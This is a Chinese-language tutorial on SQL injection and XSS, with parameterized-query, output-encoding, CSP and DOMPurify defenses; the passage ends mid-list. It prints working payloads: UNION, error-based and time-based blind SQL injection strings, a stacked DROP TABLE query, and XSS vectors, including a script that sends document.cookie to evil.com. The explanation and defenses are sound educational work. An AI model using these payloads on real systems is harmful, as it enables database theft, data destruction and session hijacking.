引言:三个"十年不倒"的老漏洞
翻开任何一版 OWASP Top 10,注入类漏洞(Injection)和跨站脚本(XSS)几乎从未缺席;
而文件上传漏洞虽然不总是独立成项,却是无数 CMS、OA、电商后台从"一个上传点"直接走向"服务器沦陷"的起点。
很多初学者会问:这些漏洞讲了二十年,框架也进化了这么多代,为什么还在打?答案并不复杂——漏洞的根源不在技术栈的新旧,而在于开发者是否守住了"数据与代码的边界"。
这三个漏洞共享同一条底层逻辑:
| 漏洞 | 用户输入被误当作 | 越权后果 |
|---|---|---|
| SQL 注入 | SQL 语句的一部分 | 拖库、改库、提权 |
| XSS | HTML / JavaScript 代码 | 窃取 Cookie、会话劫持、钓鱼 |
| 文件上传 | 可被服务器执行的脚本 | GetShell、内网横向 |
本文从原理出发,逐层拆解这三类漏洞的成因、典型攻击链和工程化防御方案,并给出可直接落地的代码与配置。
安全声明:本文所有攻击示例仅用于安全学习、代码审计与授权测试。未经授权对他人系统进行扫描、利用或破坏,均属于违法行为。请务必在获得书面授权的靶场或测试环境中验证。
从工程视角看,这三个漏洞还有一个共同点:它们都不是"某个函数用错了",而是信任边界设计失败。开发者把来自 HTTP 请求的数据直接送进了另一个解析器——数据库解析器、浏览器 HTML 解析器、服务器脚本解析器。防御的核心,就是让数据在跨越边界时被正确编码、约束或隔离。理解这一点,比记住几个 payload 重要得多。
一、SQL 注入:当字符串拼接撕裂了数据边界
1.1 核心原理
SQL 注入的本质是解析器层面的混淆。数据库在收到一条语句时,需要先做词法分析和语法分析,区分"哪部分是语法结构(代码),哪部分是数据字面量"。
如果后端用字符串拼接构造 SQL:
sql="SELECT * FROM users WHERE username = '"+username+"'"那么当username为admin' OR '1'='1时,最终语句变成:
SELECT*FROMusersWHEREusername='admin'OR'1'='1'OR '1'='1'是恒真条件,攻击者无需密码即可登录。问题不在于单引号被输入,而在于单引号从"数据"跃迁成了"语法符号"。
更底层地看,数据库处理一条 SQL 大致经历以下阶段:
- 词法分析:把字符串切成 token,例如
SELECT、FROM、'admin'、OR、'1'='1'; - 语法分析:根据语法规则构建抽象语法树(AST);
- 语义分析与权限检查:确认表、列、函数是否存在,当前账号是否有权限;
- 生成执行计划:决定走哪个索引、如何 join;
- 执行并返回结果。
字符串拼接的危险在于:用户输入在词法分析之前就混入了 SQL 文本,因此它可能生成新的 token,甚至改变 AST 的结构。而参数化查询(预编译)的做法是:先发送带占位符的 SQL 模板,让数据库完成词法、语法分析和执行计划生成;之后再把参数作为纯数据绑定进去。此时参数无论包含单引号、注释符还是UNION,都只能作为字符串值存在,无法参与语法结构。
可以用一个类比理解:参数化查询相当于先把模具做好,再往模具里倒材料;字符串拼接相当于把材料和模具说明书混在一起,让机器自己猜哪里是模具、哪里是材料。
1.2 常见注入手法
- 联合查询注入:
' UNION SELECT username, password FROM users --,直接把其他表的数据拼进结果集。 - 报错注入:利用
extractvalue()、updatexml()等函数在错误信息中回显数据(MySQL)。 - 布尔盲注 / 时间盲注:页面不回显时,用
AND SUBSTRING(...)='a'或SLEEP(5)逐字符推断。 - 堆叠查询:
'; DROP TABLE users; --,是否成功取决于驱动是否允许多语句。
下面补充每种手法的实战判断细节,这些细节在真实渗透和代码审计中非常关键。
联合查询注入的第一步通常是判断列数。可以用ORDER BY n递增,直到页面报错,说明列数小于 n;也可以用UNION SELECT 1,2,3...逐步对齐。确定列数后,还要判断哪一列会回显到页面。例如:
-- 假设原查询返回 3 列,且第 2、3 列会显示在页面上' UNION SELECT 1, database(), user() -- 'UNIONSELECT1,table_name,column_nameFROMinformation_schema.columnsWHEREtable_schema=database()--如果目标数据库是 MySQL,information_schema是拖库的"地图";如果是 SQL Server,则常用sysobjects、syscolumns;Oracle 则常用all_tables、all_tab_columns。不同数据库的元数据表不同,这也是注入利用需要先指纹识别的原因。
报错注入适用于页面不回显数据、但会回显数据库错误的情况。MySQL 中常见 payload:
' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) -- 'ANDupdatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)--0x7e是~,用于在错误信息中标记数据边界,方便提取。需要注意的是,报错注入通常有长度限制,提取长数据时要配合SUBSTRING()分段读取。
布尔盲注适用于页面既不回显数据也不回显错误,但真/假条件会导致页面内容有细微差异。例如:
' AND SUBSTRING((SELECT database()), 1, 1) = 'a'--攻击者可以逐字符判断。为了加速,可以用二分法:ASCII(SUBSTRING(...)) > 100,把 26 个字母的猜测压缩到 7 次以内。时间盲注则是在布尔盲注基础上加入SLEEP(5):
' AND IF(SUBSTRING((SELECT database()), 1, 1) = 'a',SLEEP(5),0)--如果页面响应延迟约 5 秒,说明条件为真。时间盲注对网络稳定性要求较高,通常需要多次验证,但它的隐蔽性很强,因为页面内容可能完全正常,只有响应时间变化。
堆叠查询能否成功,取决于数据库驱动和连接配置。例如 PHP 的mysqli_query()默认不支持多语句,但mysqli_multi_query()支持;PDO 默认也不支持多语句,除非设置PDO::MYSQL_ATTR_MULTI_STATEMENTS。因此,'; DROP TABLE users; --并非在所有环境下都能执行。但一旦支持,危害极大,因为攻击者可以执行任意 SQL 语句。
此外,还有二次注入:恶意数据先被存入数据库,之后在另一个 SQL 语句中被取出并拼接,导致注入。例如用户注册时用户名存为admin'--,后续修改密码时后端拼接UPDATE users SET password='xxx' WHERE username='admin'--',就可能篡改管理员密码。二次注入的防御同样依赖参数化查询,而不是在输入口做一次性过滤。
1.3 正确写法:参数化查询
# ❌ 危险:字符串拼接deflogin_bad(conn,username,password):cur=conn.cursor()sql=f"SELECT id, username FROM users WHERE username='{username}' AND password='{password}'"cur.execute(sql)# 注入点returncur.fetchone()# ✅ 安全:参数化查询(预编译)deflogin_safe(conn,username,password):cur=conn.cursor()sql="SELECT id, username FROM users WHERE username = ? AND password = ?"cur.execute(sql,(username,password))# 参数作为纯数据绑定returncur.fetchone()关键点:参数化查询的占位符只能替代"值",不能替代表名、列名、ORDER BY方向、LIMIT之外的语法结构。数据库会先把带占位符的语句编译成执行计划,再把参数作为纯数据填入,数据永远无法"越界"变成语法。
那ORDER BY怎么办?只能走白名单映射:
ALLOWED_SORT={"created_at":"created_at","score":"score","username":"username",}deflist_users(conn,sort_key,order):col=ALLOWED_SORT.get(sort_key)# 非法值 → NoneifcolisNone:raiseValueError("invalid sort key")direction="ASC"iforder.lower()=="asc"else"DESC"sql=f"SELECT id, username FROM users ORDER BY{col}{direction}"returnconn.execute(sql).fetchall()这里拼接的是经过白名单收敛的枚举值,而非用户原始输入,因此是安全的。
在真实项目中,还有一些参数化查询的细节容易踩坑:
LIKE 查询:占位符可以用于 LIKE,但通配符%和_应由业务代码决定是否添加,而不是让用户输入直接拼接。例如:
# 安全:参数值内部可以包含 %keyword=f"%{user_input}%"cur.execute("SELECT id, title FROM articles WHERE title LIKE ?",(keyword,))如果用户输入本身包含%,它只会作为普通字符被匹配,不会改变 SQL 结构。但如果你希望用户输入中的%不被当作通配符,需要显式转义,例如把%替换为\%,并指定ESCAPE '\'。
IN 子句:不能直接写WHERE id IN (?)并传入列表,因为占位符数量必须与值数量匹配。正确做法是根据列表长度动态生成占位符:
ids=[1,2,3]placeholders=",".join(["?"]*len(ids))sql=f"SELECT id, name FROM users WHERE id IN ({placeholders})"cur.execute(sql,ids)这里动态生成的是占位符本身,不是用户数据,因此安全。
表名、列名、排序方向:这些属于 SQL 语法结构,参数化查询无法覆盖。必须使用白名单映射,绝不能直接拼接用户输入。很多 ORM 的order_by()方法如果接受原始字符串,也可能成为注入点,使用前要查阅文档确认是否经过白名单处理。
1.4 防御纵深
- 参数化查询(首选,从根上消除);
- ORM 不等于安全:SQLAlchemy 的
text()、Django 的extra()/raw()若做字符串拼接,同样可注入; - 最小权限:Web 应用连接数据库的账号不应有
FILE、DROP、跨库读写权限,避免注入升级为拖库或写马; - 统一错误处理:关闭详细报错回显,防止报错注入;
- WAF / RASP作为兜底,而非第一道防线。
对以上五点再展开一些实战建议:
ORM 不等于安全。很多开发者认为用了 ORM 就万事大吉,但实际上 ORM 只是提供了参数化的能力,并不强制你使用。例如 SQLAlchemy:
# ❌ 危险:text() 中拼接fromsqlalchemyimporttext sql=text(f"SELECT * FROM users WHERE username = '{username}'")session.execute(sql)# ✅ 安全:text() 中使用绑定参数sql=text("SELECT * FROM users WHERE username = :username")session.execute(sql,{"username":username})Django 中:
# ❌ 危险:raw() 拼接User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")# ✅ 安全:raw() 使用参数User.objects.raw("SELECT * FROM users WHERE username = %s",[username])最小权限是数据库层面的最后一道闸门。假设注入已经发生,如果 Web 账号只有SELECT、INSERT、UPDATE、DELETE权限,攻击者就无法通过INTO OUTFILE写 WebShell,也无法DROP TABLE。生产环境中,建议为每个应用创建独立数据库账号,只授予其所需库表的必要权限,并禁止FILE、PROCESS、SUPER等高危权限。
统一错误处理。很多注入利用依赖报错回显。生产环境应关闭display_errors,统一返回通用错误页,并将详细错误写入日志。这样报错注入就失去了回显通道,只能退化为盲注,攻击成本大幅提高。
WAF / RASP能拦截大量已知 payload,但攻击者可以通过编码、分块、注释混淆等方式绕过 WAF。因此 WAF 只能作为纵深防御的一层,不能替代参数化查询。RASP 运行在应用内部,能更准确地识别危险调用,但同样可能被绕过,且对性能有影响。
1.5 常见误区与 FAQ
Q1:对单引号做转义,能不能防住 SQL 注入?
不能完全防住。转义单引号只在特定数据库、特定字符集下有效,而且容易遗漏数字型注入、宽字节注入、二次注入等场景。例如 GBK 编码下,%df%27可能绕过addslashes()。参数化查询才是根本方案。
Q2:用了 PDO 就安全了吗?
不一定。如果使用PDO::ATTR_EMULATE_PREPARES => true(某些版本的默认值),PDO 会在客户端模拟预编译,仍然可能因为字符集问题产生注入。建议显式设置PDO::ATTR_EMULATE_PREPARES => false,使用数据库原生预编译。
Q3:为什么ORDER BY ?不起作用?
因为占位符只能替代值,不能替代列名或排序方向。ORDER BY ?会被数据库当作按常量排序,而不是按列排序。必须使用白名单映射。
Q4:存储过程能防注入吗?
如果存储过程内部使用动态 SQL 拼接,同样会注入。安全的存储过程应使用参数化查询,并避免EXECUTE IMMEDIATE拼接用户输入。
Q5:如何快速发现代码中的 SQL 注入点?
搜索字符串拼接 SQL 的关键词,如execute(、query(、raw(、extra(、text(、f"SELECT、+ "SELECT"等,然后检查是否使用参数化。代码审计时,重点看用户输入是否直接进入 SQL 文本。
二、XSS:浏览器把数据当成了代码
2.1 三种类型
- 反射型:
?q=<script>...</script>被服务端原样回显在 HTML 中,通常配合钓鱼链接。 - 存储型:恶意内容被存进数据库(评论、昵称、工单),所有访问者中招,危害最大。
- DOM 型:服务端完全不参与,前端 JS 直接把
location.hash写进innerHTML。
存储型 XSS 的典型场景是留言板、评论、用户昵称、工单系统、客服聊天记录。攻击者提交一条包含恶意脚本的评论,脚本被存入数据库;之后任何访问该页面的用户,浏览器都会执行这段脚本。由于脚本来自"可信"的站内数据,服务端可能完全不做输出编码,因此存储型 XSS 的触发率极高。
一个真实的攻击链是:攻击者在电商平台的商品评价中提交<script>fetch('https://evil.com/steal?c='+document.cookie)</script>。当其他用户浏览评价时,脚本执行,把当前用户的 Cookie 发送到攻击者服务器。如果该 Cookie 没有设置HttpOnly,攻击者就能直接盗取会话,冒充用户登录。即使设置了HttpOnly,攻击者仍可以用 XSS 发起 CSRF、篡改页面、钓鱼、挖矿,危害依然严重。
反射型 XSS 常见于搜索框、错误提示、跳转参数。例如搜索页面把q参数原样回显:“您搜索的是:”。攻击者构造一个恶意链接,诱导用户点击。由于脚本来自当前域名,浏览器无法区分这是用户输入还是网站代码。
DOM 型 XSS 的特点是服务端返回的 HTML 完全正常,恶意数据只在浏览器端被 JavaScript 写入危险位置。例如:
consthash=location.hash.substring(1);document.getElementById("content").innerHTML=hash;攻击者构造https://example.com/#<img src=x onerror=alert(1)>,浏览器加载页面后,前端 JS 把 hash 内容写入innerHTML,触发 XSS。这种漏洞用服务端 WAF 很难发现,因为请求中可能根本没有恶意内容到达服务端。
2.2 原理:输出上下文决定一切
XSS 的根因是输出编码缺失。同一段数据,落在不同上下文里需要的编码方式完全不同:
| 输出位置 | 需要的处理 |
|---|---|
| HTML 文本节点 | HTML 实体编码<>&"' |
| HTML 属性值 | 属性编码 + 强制加引号 |
<script>内 | JavaScript 字符串编码,禁止</script> |
| URL 参数 | URL 编码 |
| CSS | CSS 编码,禁止expression() |
用一套"过滤<script>"的方案去覆盖所有上下文,必然漏。
除了上述常见上下文,还有几个容易被忽略的位置:
- HTML 注释:
<!-- 用户输入 -->,如果用户输入包含-->,可能提前闭合注释,插入脚本。 <style>标签内:用户输入如果进入 CSS,可能通过background:url(javascript:...)或expression()触发(旧版 IE)。- 事件属性:
<button onclick="doSomething('用户输入')">,如果用户输入包含单引号,可以闭合字符串并插入代码。 <script>中的 JSON:var data = {"name": "用户输入"};,如果用户输入包含</script>,可以提前闭合脚本标签,插入新的<script>。- URL 的
href/src:<a href="用户输入">,如果用户输入是javascript:alert(1),点击链接即执行。
因此,现代防御强调上下文感知的输出编码。模板引擎的自动转义之所以有效,是因为它知道当前输出位置是 HTML 文本、属性还是 JavaScript,并应用对应的编码规则。
2.3 代码对比
# ❌ 危险:手工拼接模板,未做任何转义fromflaskimportFlask,request app=Flask(__name__)@app.route("/hello")defhello_bad():name=request.args.get("name","")returnf"<h1>Hello,{name}!</h1>"# 传入 <img src=x onerror=alert(1)> 即触发# ✅ 安全:使用自动转义模板引擎 + 正确响应头fromflaskimportrender_template,make_responseimportsecrets@app.route("/hello_safe")defhello_safe():name=request.args.get("name","")nonce=secrets.token_urlsafe(16)resp=make_response(render_template("hello.html",name=name,nonce=nonce))resp.headers["Content-Security-Policy"]=(f"default-src 'self'; script-src 'self' 'nonce-{nonce}'; object-src 'none'; base-uri 'self'")resp.headers["X-Content-Type-Options"]="nosniff"resp.set_cookie("session","xxx",httponly=True,samesite="Lax",secure=True)returnresp配套的hello.html(Jinja2 默认对.html模板开启自动转义):
<h1>Hello, {{ name }}!</h1>{# 自动 HTML 实体编码 #}<scriptnonce="{{ nonce }}">constuser={{name|tojson}};// 注入 JS 上下文时用 tojson,而不是裸插值</script>| safe、Markup()、v-html、React 的dangerouslySetInnerHTML都是主动关闭转义的开关,用之前必须经过净化。
Jinja2 的自动转义规则是:对于.html、.htm、.xml等模板,默认对变量输出进行 HTML 实体编码,把<变成<、>变成>、&变成&、"变成"、'变成'。这样即使用户输入<script>alert(1)</script>,浏览器看到的也只是文本,而不是脚本标签。
但自动转义只覆盖 HTML 文本上下文。如果变量落在<script>标签内,HTML 实体编码并不能阻止</script>闭合标签。因此 Jinja2 提供了|tojson过滤器,它会把 Python 对象序列化为 JSON,并对<、>、&、'等字符进行转义,确保输出可以安全嵌入 JavaScript。类似地,如果变量要放入 URL,应使用|urlencode;放入 CSS,应使用|cssescape。
在 React 中,JSX 默认对文本内容进行转义,因此{userInput}是安全的。但dangerouslySetInnerHTML={{__html: userInput}}会关闭转义,必须配合 DOMPurify 等净化库。Vue 中{{ userInput }}是安全的,v-html是危险的。Angular 默认对插值进行转义,[innerHTML]会经过 Sanitizer,但某些场景仍可能被绕过。
2.4 DOM 型 XSS 与前端防御
// ❌ 危险constq=newURLSearchParams(location.search).get("q");document.getElementById("result").innerHTML=q;// ✅ 安全:优先用 textContentdocument.getElementById("result").textContent=q;// 若必须渲染富文本,先净化importDOMPurifyfrom"dompurify";el.innerHTML=DOMPurify.sanitize(userHtml,{ALLOWED_TAGS:["b","i","a","p"]});在前端框架中,还要注意以下危险 API:
element.innerHTML、outerHTML、insertAdjacentHTML;document.write、document.writeln;eval、setTimeout(string)、setInterval(string)、Function(string);location.href = userInput(如果userInput是javascript:协议);element.setAttribute("onclick", userInput);- jQuery 的
$(userInput)、.html(userInput)、.append(userInput)。
如果必须把用户输入放入 URL,应校验协议白名单:
functionsafeUrl(url){try{constu=newURL(url,location.origin);if(["http:","https:"].includes(u.protocol)){returnu.href;}}catch(e){}return"#";}对于富文本,推荐使用 DOMPurify,并采用白名单策略。黑名单过滤(例如只删除<script>)永远会漏,因为 HTML 的解析规则非常复杂,攻击者可以利用大小写、注释、畸形标签、命名空间等方式绕过。白名单则只允许已知安全的标签和属性,例如<b>、<i>、<a href>、<p>,并限制href协议为http、https、mailto。
2.5 防御清单
更多硬核网安与AI工具包,请扫码获取完整源码!
上下文感知的输出编码(模板引擎自动转义是性价比最高的一招);
2.CSP:script-src 'self' 'nonce-xxx'能阻断绝大多数内联脚本执行,是 XSS 的最后一道闸门;
3.Cookie 加固:HttpOnly阻止 JS 读取会话,SameSite=Lax/Strict